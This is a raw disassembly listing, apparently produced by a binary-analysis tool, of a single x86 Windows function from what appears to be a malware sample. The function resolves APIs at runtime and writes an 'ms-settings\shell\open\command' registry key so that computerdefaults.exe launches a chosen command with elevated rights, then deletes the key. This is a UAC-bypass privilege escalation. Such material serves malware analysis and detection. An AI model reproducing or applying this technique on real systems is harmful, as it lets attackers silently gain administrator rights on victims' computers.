Function at 0x42c3c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4583eb
mov eax, dword fs:[0]
push eax
sub esp, 0xec8
mov eax, dword [0x46b078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.C:Windows_system32_
lea ecx, [ebp - 0xdc8]
call fcn.004335d0
mov ecx, eax
call fcn.00436340
push eax
lea ecx, [ebp - 0xa50]
call fcn.0040f890
mov dword [ebp - 4], 0
push str.computerdefaults.exe
lea ecx, [ebp - 0xd70]
call fcn.00433de0
mov ecx, eax
call fcn.00436340
push eax
lea eax, [ebp - 0xa50]
push eax
lea ecx, [ebp - 0xa68]
push ecx
call fcn.0042dc00
add esp, 0xc
mov byte [ebp - 4], 1
push str.ms_settings
lea ecx, [ebp - 0xc08]
call fcn.00434730
mov ecx, eax
call fcn.0041e0d0
mov dword [ebp - 0xe00], eax
lea ecx, [ebp - 0xa68]
call fcn.0041d790
mov dword [ebp - 0xe44], eax
mov ecx, dword [ebp + 8]
call fcn.0041d790
mov dword [ebp - 0xe88], eax
push str.ntdll.dll
lea ecx, [ebp - 0xb6c]
call fcn.00431610
mov ecx, eax
call fcn.00435fa0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x46d3d0], eax
push str.advapi32.dll
lea ecx, [ebp - 0xc40]
call fcn.00431d60
mov ecx, eax
call fcn.00436080
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x46d3d4], eax
push str.ole32.dll
lea ecx, [ebp - 0xb40]
call fcn.00431370
mov ecx, eax
call fcn.00435fa0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x46d3d8], eax
call fcn.0042ce40
push str.RtlCreateHeap
lea ecx, [ebp - 0xa78]
call fcn.0042f5b0
mov ecx, eax
call fcn.00435b50
mov dword [ebp - 0xe04], eax
mov edx, dword [0x46d3d0]
mov dword [ebp - 0xe08], edx
mov eax, dword [ebp - 0xe04]
push eax
mov ecx, dword [ebp - 0xe08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe14], eax
push str.RtlSetHeapInformation
lea ecx, [ebp - 0xad4]
call fcn.0042ff00
mov ecx, eax
call fcn.00435d60
mov dword [ebp - 0xe0c], eax
mov edx, dword [0x46d3d0]
mov dword [ebp - 0xe10], edx
mov eax, dword [ebp - 0xe0c]
push eax
mov ecx, dword [ebp - 0xe10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe50], eax
mov edx, dword [ebp - 0xe14]
mov dword [ebp - 0xe54], edx
push 0
push 0
push 0
push 0
push 0
push 2
call dword [ebp - 0xe54]
mov dword [0x46d3cc], eax
mov eax, dword [ebp - 0xe50]
mov dword [ebp - 0xe40], eax
push 0
push 0
push 1
mov ecx, dword [0x46d3cc]
push ecx
call dword [ebp - 0xe40]
mov dword [ebp - 0xdfc], 0xc0000022
mov byte [ebp - 0xdcd], 0
mov dword [ebp - 0xdcc], 0xc0000022
mov dword [ebp - 0xdf4], 0
mov dword [ebp - 0xdd8], 0
mov dword [ebp - 0xdd4], 0
mov dword [ebp - 0xddc], 0
mov edx, dword [0x46d3e8]
mov dword [ebp - 0xea8], edx
push 0x459df0
lea ecx, [ebp - 0xd18]
call fcn.004324f0
mov ecx, eax
call fcn.00436010
push eax
lea eax, [ebp - 0xed4]
push eax
call dword [ebp - 0xea8]
push str.CoInitializeEx
lea ecx, [ebp - 0xaa8]
call fcn.00430680
mov ecx, eax
call fcn.00435e20
mov dword [ebp - 0xea4], eax
mov ecx, dword [0x46d3d8]
mov dword [ebp - 0xea0], ecx
mov edx, dword [ebp - 0xea4]
push edx
mov eax, dword [ebp - 0xea0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe9c], eax
mov ecx, dword [ebp - 0xe9c]
mov dword [ebp - 0xe98], ecx
push 2
push 0
call dword [ebp - 0xe98]
mov dword [ebp - 0xe2c], eax
push 0x410
lea edx, [ebp - 0xa38]
push edx
call fcn.00436620
add esp, 8
push 1
call fcn.0042db80
add esp, 4
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c6f1
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe94], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa68]
call fcn.00411840
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa50]
call fcn.00411840
mov eax, dword [ebp - 0xe94]
jmp 0x42ce24
mov ecx, dword [0x46d3dc]
mov dword [ebp - 0xe90], ecx
lea edx, [ebp - 0xe4c]
push edx
call dword [ebp - 0xe90]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c71e
jmp 0x42cbad
lea eax, [ebp - 0xdd8]
push eax
lea ecx, [ebp - 0xe4c]
push ecx
call fcn.0042d180
add esp, 8
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c748
jmp 0x42cbad
mov edx, 2
imul eax, edx, 0
mov ecx, 0x5c
mov word [ebp + eax - 0xa38], cx
mov dword [ebp - 0xdec], 2
cmp dword [ebp - 0xdec], 0x410
jae 0x42c775
jmp 0x42c77a
call fcn.00439f2d
xor edx, edx
mov eax, dword [ebp - 0xdec]
mov word [ebp + eax - 0xa38], dx
mov ecx, 2
shl ecx, 0
lea edx, [ebp + ecx - 0xa38]
push edx
mov eax, dword [ebp - 0xe88]
push eax
mov ecx, dword [ebp - 0xdd8]
push ecx
call fcn.0042d940
add esp, 0xc
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c7c4
jmp 0x42cbad
mov byte [ebp - 0xdcd], 1
lea edx, [ebp - 0xa38]
push edx
call fcn.0042a460
add esp, 4
movzx ecx, word [ebp - 0xe4a]
lea edx, [ecx + eax*2 + 0x104]
mov dword [ebp - 0xde8], edx
mov eax, dword [ebp - 0xde8]
push eax
call fcn.0042d0a0
add esp, 4
mov dword [ebp - 0xddc], eax
cmp dword [ebp - 0xddc], 0
jne 0x42c811
jmp 0x42cbad
mov ecx, dword [ebp - 0xddc]
mov dword [ebp - 0xde0], ecx
xor edx, edx
mov word [ebp - 0xde4], dx
mov ax, word [ebp - 0xde8]
mov word [ebp - 0xde2], ax
mov ecx, dword [0x46d3e0]
mov dword [ebp - 0xe84], ecx
lea edx, [ebp - 0xe4c]
push edx
lea eax, [ebp - 0xde4]
push eax
call dword [ebp - 0xe84]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c868
jmp 0x42cbad
mov ecx, 2
imul edx, ecx, 0
mov eax, 0x5c
mov word [ebp + edx - 0x628], ax
mov dword [ebp - 0xdf0], 2
cmp dword [ebp - 0xdf0], 0x208
jae 0x42c895
jmp 0x42c89a
call fcn.00439f2d
xor ecx, ecx
mov edx, dword [ebp - 0xdf0]
mov word [ebp + edx - 0x628], cx
push 0x459e24
lea ecx, [ebp - 0xccc]
call fcn.00432d80
mov ecx, eax
call fcn.00436290
push eax
mov eax, 2
shl eax, 0
lea ecx, [ebp + eax - 0x628]
push ecx
call fcn.0042a3f0
add esp, 8
mov edx, dword [0x46d3e4]
mov dword [ebp - 0xe80], edx
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0xde4]
push ecx
call dword [ebp - 0xe80]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c90e
jmp 0x42cbad
mov edx, dword [0x46d3e4]
mov dword [ebp - 0xe7c], edx
lea eax, [ebp - 0xa38]
push eax
lea ecx, [ebp - 0xde4]
push ecx
call dword [ebp - 0xe7c]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42c942
jmp 0x42cbad
push 0x104
mov edx, dword [ebp - 0xe00]
push edx
push 0x104
lea eax, [ebp - 0x420]
push eax
call fcn.0042a360
add esp, 0x10
push str._shellopen
lea ecx, [ebp - 0xba0]
call fcn.00433af0
mov ecx, eax
call fcn.0041e0d0
push eax
lea ecx, [ebp - 0x420]
push ecx
call fcn.0042a300
add esp, 8
push str.RegCreateKeyExW
lea ecx, [ebp - 0xabc]
call fcn.0042fd10
mov ecx, eax
call fcn.0041de80
mov dword [ebp - 0xe78], eax
mov edx, dword [0x46d3d4]
mov dword [ebp - 0xe74], edx
mov eax, dword [ebp - 0xe78]
push eax
mov ecx, dword [ebp - 0xe74]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe70], eax
mov edx, dword [ebp - 0xe70]
mov dword [ebp - 0xe6c], edx
push 0
lea eax, [ebp - 0xdf4]
push eax
push 0
push 0x2000000
push 0
push 0
push 0
lea ecx, [ebp - 0x420]
push ecx
mov edx, dword [ebp - 0xdd8]
push edx
call dword [ebp - 0xe6c]
test eax, eax
je 0x42ca0b
jmp 0x42cbad
mov eax, dword [0x46d3e8]
mov dword [ebp - 0xe68], eax
push str.command
lea ecx, [ebp - 0xaf4]
call fcn.004329a0
mov ecx, eax
call fcn.00436190
push eax
lea ecx, [ebp - 0xecc]
push ecx
call dword [ebp - 0xe68]
mov dword [ebp - 0xec0], 0x18
mov edx, dword [ebp - 0xdf4]
mov dword [ebp - 0xebc], edx
mov dword [ebp - 0xeb4], 0x40
lea eax, [ebp - 0xecc]
mov dword [ebp - 0xeb8], eax
mov dword [ebp - 0xeb0], 0
mov dword [ebp - 0xeac], 0
mov ecx, dword [0x46d3fc]
mov dword [ebp - 0xe64], ecx
lea edx, [ebp - 0xec4]
push edx
push 3
push 0
push 0
lea eax, [ebp - 0xec0]
push eax
push 0xf003f
lea ecx, [ebp - 0xdd4]
push ecx
call dword [ebp - 0xe64]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0xc0000035
jne 0x42cafb
mov edx, dword [ebp - 0xeb4]
or edx, 0x100
mov dword [ebp - 0xeb4], edx
mov eax, dword [0x46d3f8]
mov dword [ebp - 0xe60], eax
lea ecx, [ebp - 0xec0]
push ecx
push 0xf003f
lea edx, [ebp - 0xdd4]
push edx
call dword [ebp - 0xe60]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42cb09
jmp 0x42cbad
mov eax, dword [ebp - 0xde0]
push eax
call fcn.0042a460
add esp, 4
shl eax, 1
mov dword [ebp - 0xde8], eax
mov ecx, dword [0x46d3f4]
mov dword [ebp - 0xe5c], ecx
movzx edx, word [ebp - 0xde4]
push edx
mov eax, dword [ebp - 0xde0]
push eax
push 6
push 0
lea ecx, [ebp - 0xed4]
push ecx
mov edx, dword [ebp - 0xdd4]
push edx
call dword [ebp - 0xe5c]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jge 0x42cb64
jmp 0x42cbad
mov eax, dword [0x46d3f0]
mov dword [ebp - 0xe58], eax
mov ecx, dword [ebp - 0xdd4]
push ecx
call dword [ebp - 0xe58]
mov dword [ebp - 0xdd4], 0
push 0
mov edx, dword [ebp - 0xe44]
push edx
call fcn.0042d7e0
add esp, 8
test eax, eax
je 0x42cba5
mov dword [ebp - 0xdfc], 0
xor eax, eax
jne 0x42c6f1
cmp dword [ebp - 0xdd4], 0
je 0x42cbcf
mov ecx, dword [0x46d3f0]
mov dword [ebp - 0xe8c], ecx
mov edx, dword [ebp - 0xdd4]
push edx
call dword [ebp - 0xe8c]
cmp dword [ebp - 0xddc], 0
je 0x42cbe7
mov eax, dword [ebp - 0xddc]
push eax
call fcn.0042d110
add esp, 4
movzx ecx, byte [ebp - 0xdcd]
test ecx, ecx
je 0x42cc67
cmp dword [ebp - 0xdd8], 0
je 0x42cc67
push str.RegDeleteKeyW
lea ecx, [ebp - 0xa88]
call fcn.0042e810
mov ecx, eax
call fcn.0042a150
mov dword [ebp - 0xe18], eax
mov edx, dword [0x46d3d4]
mov dword [ebp - 0xe1c], edx
mov eax, dword [ebp - 0xe18]
push eax
mov ecx, dword [ebp - 0xe1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe20], eax
mov edx, dword [ebp - 0xe20]
mov dword [ebp - 0xe24], edx
mov eax, 2
shl eax, 0
lea ecx, [ebp + eax - 0xa38]
push ecx
mov edx, dword [ebp - 0xdd8]
push edx
call dword [ebp - 0xe24]
cmp dword [ebp - 0xdd8], 0
je 0x42cc88
mov eax, dword [0x46d3f0]
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xdd8]
push ecx
call dword [ebp - 0xe28]
cmp dword [ebp - 0xe2c], 0
jl 0x42ccda
push str.CoUninitialize
lea ecx, [ebp - 0xa98]
call fcn.0042e630
mov ecx, eax
call fcn.00435800
mov dword [ebp - 0xe30], eax
mov edx, dword [0x46d3d8]
mov dword [ebp - 0xe34], edx
mov eax, dword [ebp - 0xe30]
push eax
mov ecx, dword [ebp - 0xe34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe38], eax
call dword [ebp - 0xe38]
mov edx, 2
imul eax, edx, 0
mov ecx, 0x5c
mov word [ebp + eax - 0x420], cx
mov dword [ebp - 0xdf8], 2
cmp dword [ebp - 0xdf8], 0x410
jae 0x42cd07
jmp 0x42cd0c
call fcn.00439f2d
xor edx, edx
mov eax, dword [ebp - 0xdf8]
mov word [ebp + eax - 0x420], dx
push 0x459ea0
lea ecx, [ebp - 0xc88]
call fcn.004331a0
mov ecx, eax
call fcn.004362e0
push eax
mov ecx, 2
shl ecx, 0
lea edx, [ebp + ecx - 0x420]
push edx
call fcn.0042a3f0
add esp, 8
push 0x459ec4
lea eax, [ebp - 0x420]
push eax
call fcn.0042a300
add esp, 8
mov ecx, dword [ebp - 0xe00]
push ecx
lea edx, [ebp - 0x420]
push edx
call fcn.0042a300
add esp, 8
push 0x459ec8
lea ecx, [ebp - 0xbd4]
call fcn.00434d10
mov ecx, eax
call fcn.0041e0d0
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.0042a300
add esp, 8
push 0x459ee0
lea ecx, [ebp - 0x420]
push ecx
call fcn.0042a300
add esp, 8
push 0x459ee4
lea ecx, [ebp - 0xb14]
call fcn.00432b90
mov ecx, eax
call fcn.00436210
push eax
lea edx, [ebp - 0x420]
push edx
call fcn.0042a300
add esp, 8
lea eax, [ebp - 0x420]
push eax
call fcn.0042d310
add esp, 4
push 0
call fcn.0042db80
add esp, 4
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp - 0xe3c], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa68]
call fcn.00411840
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa50]
call fcn.00411840
mov eax, dword [ebp - 0xe3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043993e
mov esp, ebp
pop ebp
ret